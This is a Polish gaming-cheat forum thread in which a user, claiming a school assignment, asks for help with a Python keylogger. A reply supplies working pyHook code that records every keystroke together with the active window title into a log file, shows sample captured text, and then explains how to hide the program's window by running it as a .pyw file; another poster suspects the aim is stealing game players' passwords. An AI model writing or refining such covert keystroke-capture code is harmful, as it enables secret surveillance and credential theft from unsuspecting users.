Skocz do zawartości
  • 👋 Witaj na MPCForum!

    Przeglądasz forum jako gość, co oznacza, że wiele świetnych funkcji jest jeszcze przed Tobą! 😎

    • Pełny dostęp do działów i ukrytych treści
    • Możliwość pisania i odpowiadania w tematach
    • System prywatnych wiadomości
    • Zbieranie reputacji i rozwijanie swojego profilu
    • Członkostwo w jednej z największych społeczności graczy

    👉 Dołączenie zajmie Ci mniej niż minutę – a zyskasz znacznie więcej!

    Zarejestruj się teraz

[Pytanie] Keylogger w pythonie


Rekomendowane odpowiedzi

Opublikowano

Witam! Muszę na informatykę zrobić keyloggera w pythonie i jak na razie wiem o co chodzi w dwóch komendach o.O . Na YouTube znalazłem też poradnik jak taki keylogger zrobić, ale nie wiem czy zadziała.

link do kodu źródłowego: http://pastebay.net/1218578

link do filmu:

 

Powiedzcie mi proszę czy to będzie działać.

Opublikowano

Działa.

Wiadro Bluba Rura Blant

 

(̅__(̲̲̲̲̲̅̅̅̅̅̅(̅_̅_̲̅м̲̅a̲̅я̲̅i̲̅h̲̅u̲̅a̲̅n̲̅ a̲̅ ̅_̅_̅((()ڪ

Opublikowano

Szczerze mówiąc nigdy tej biblioteki (pyHook) nie używałem (a szkoda). Ogólnie to dzięki tej bibliotece możesz przechwytywać zdarzenia typu naciśnięcie klawisza, przycisku myszy itp. Dokumentacje możesz znaleźć tu (angielski).

 

Chwilę się z tym pobawiłem i dodałem pobieranie nazwy okna:

#Python keylogger made by AP0C4LyPs3
#http://www.youtube.com/user/TheAP0C4LyPs3
    
import pythoncom
import pyHook
import ctypes

user32 = ctypes.windll.LoadLibrary('user32')

log = ""
logpath = "log.txt"
currentWindow = ''
   
openfile = open(logpath, "w")
openfile.write("")
   
def OnKeyboardEvent(event):
    print 'event.Ascii = %d'%event.Ascii
    try:
        global log
        if event.Ascii == 27:
            log = "[ESC]"
        elif event.Ascii == 8:
            log = "[Backspace]"
        elif event.Ascii == 15:
            print 'DUPA EXIT'
            openfile.close()
            exit()
        elif event.Ascii == 13:
            log = "\n"
        elif event.Ascii == 0:
            log = ""
        else:
            log = chr(event.Ascii)
        #WindowName
        global currentWindow
        window = GetWindowName()
        if window != currentWindow:
            currentWindow = window
            log = '\n* '+window+' * --> '+log
        openfile.write(log)
        openfile.flush()
    except:
        pass

#HackNet MPCForum
def GetWindowName():
    hwnd = user32.GetForegroundWindow()
    #buffer = ctypes.c_wchar_p("")
    buffer = ctypes.create_unicode_buffer(128)
    user32.GetWindowTextW(hwnd, buffer, 128)
    return buffer.value

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
     
while True:
    pythoncom.PumpMessages() 

 

i przykładowa zawartość pliku log.txt:


* Keylogger w pythonie - Python - MPCforum - Cheaty, Boty, Bugi, Hacki do gier online - Mozilla Firefox * --> ta[Backspace]utaj se cos pisze w fajerfoksie
* Dokument1 - Microsoft Word * --> teraz tutaj wlasnie powinienem pisac referat tutaj spamie kolegom na skejpie

 

Mógłbym to napisać nieco lepiej żeby najpierw pobrać długość tekstu tytułu okna.

Wiadro Bluba Rura Blant

 

(̅__(̲̲̲̲̲̅̅̅̅̅̅(̅_̅_̲̅м̲̅a̲̅я̲̅i̲̅h̲̅u̲̅a̲̅n̲̅ a̲̅ ̅_̅_̅((()ڪ

Opublikowano

#UP Uh... Ah...Ten moment kiedy chcesz sprawdzić kiedy Twój program dochodzi do danego miejsca . . . ciężko się przyznać, ale ja zazwyczaj wtedy printuje wyraz "DUPA". Jednym słowem jak wyłączysz program (Ctrl+O) to wypisze Ci na konsole dupe :D

Wiadro Bluba Rura Blant

 

(̅__(̲̲̲̲̲̅̅̅̅̅̅(̅_̅_̲̅м̲̅a̲̅я̲̅i̲̅h̲̅u̲̅a̲̅n̲̅ a̲̅ ̅_̅_̅((()ڪ

Opublikowano

A to co?

 

#HackNet MPCForum
def GetWindowName():
hwnd = user32.GetForegroundWindow()
#buffer = ctypes.c_wchar_p("")
buffer = ctypes.create_unicode_buffer(128)
user32.GetWindowTextW(hwnd, buffer, 128)
return buffer.value

Opublikowano

A to co?

 

#HackNet MPCForum

def GetWindowName():

hwnd = user32.GetForegroundWindow()

#buffer = ctypes.c_wchar_p("")

buffer = ctypes.create_unicode_buffer(128)

user32.GetWindowTextW(hwnd, buffer, 128)

return buffer.value

To funkcja dodana przeze mnie jednak zbędna.

 

Poniższy przykład wszystko wyjaśnia:

import pythoncom, pyHook 
 
def OnKeyboardEvent(event):
    print 'MessageName:',event.MessageName
    print 'Message:',event.Message
    print 'Time:',event.Time
    print 'Window:',event.Window
    print 'WindowName:',event.WindowName
    print 'Ascii:', event.Ascii, chr(event.Ascii)
    print 'Key:', event.Key
    print 'KeyID:', event.KeyID
    print 'ScanCode:', event.ScanCode
    print 'Extended:', event.Extended
    print 'Injected:', event.Injected
    print 'Alt', event.Alt
    print 'Transition', event.Transition
    print '---'
 
# return True to pass the event to other handlers
    return True
 
# create a hook manager
hm = pyHook.HookManager()
# watch for all mouse events
hm.KeyDown = OnKeyboardEvent
# set the hook
hm.HookKeyboard()
# wait forever
pythoncom.PumpMessages()

Wiadro Bluba Rura Blant

 

(̅__(̲̲̲̲̲̅̅̅̅̅̅(̅_̅_̲̅м̲̅a̲̅я̲̅i̲̅h̲̅u̲̅a̲̅n̲̅ a̲̅ ̅_̅_̅((()ڪ

Opublikowano

A mógłbyś podrzucić linijkę na to żeby ten keylogger był niewidoczny? Jak odpalam to wyskakuje jakieś windowsowskie okno i widać w nim każde kliknięcie, a coś takiego chyba nie powinno być w keyloggerze?

Opublikowano

Po prostu zmień rozszerzenie uruchamianego pliku z:

.py

na:

.pyw

Wiadro Bluba Rura Blant

 

(̅__(̲̲̲̲̲̅̅̅̅̅̅(̅_̅_̲̅м̲̅a̲̅я̲̅i̲̅h̲̅u̲̅a̲̅n̲̅ a̲̅ ̅_̅_̅((()ڪ

Opublikowano

Nie ma za co ;)

 

Teraz jedynie zaznacz jedną z odpowiedzi w tym temacie jak rozwiązanie i rozdaj lajki :D

Wiadro Bluba Rura Blant

 

(̅__(̲̲̲̲̲̅̅̅̅̅̅(̅_̅_̲̅м̲̅a̲̅я̲̅i̲̅h̲̅u̲̅a̲̅n̲̅ a̲̅ ̅_̅_̅((()ڪ

Opublikowano

Na lekcje w szkole. Tak xD

Pewnie próbujesz kraść metińczykom hasła, nie uwierzę, że nauczyciel zadał Ci napisanie keyloggera.

1373986324-U917591.png

Zapraszam do prezentacji serwera uMetin2:

KLIK

Zarchiwizowany

Ten temat przebywa obecnie w archiwum. Dodawanie nowych odpowiedzi zostało zablokowane.

×
×
  • Dodaj nową pozycję...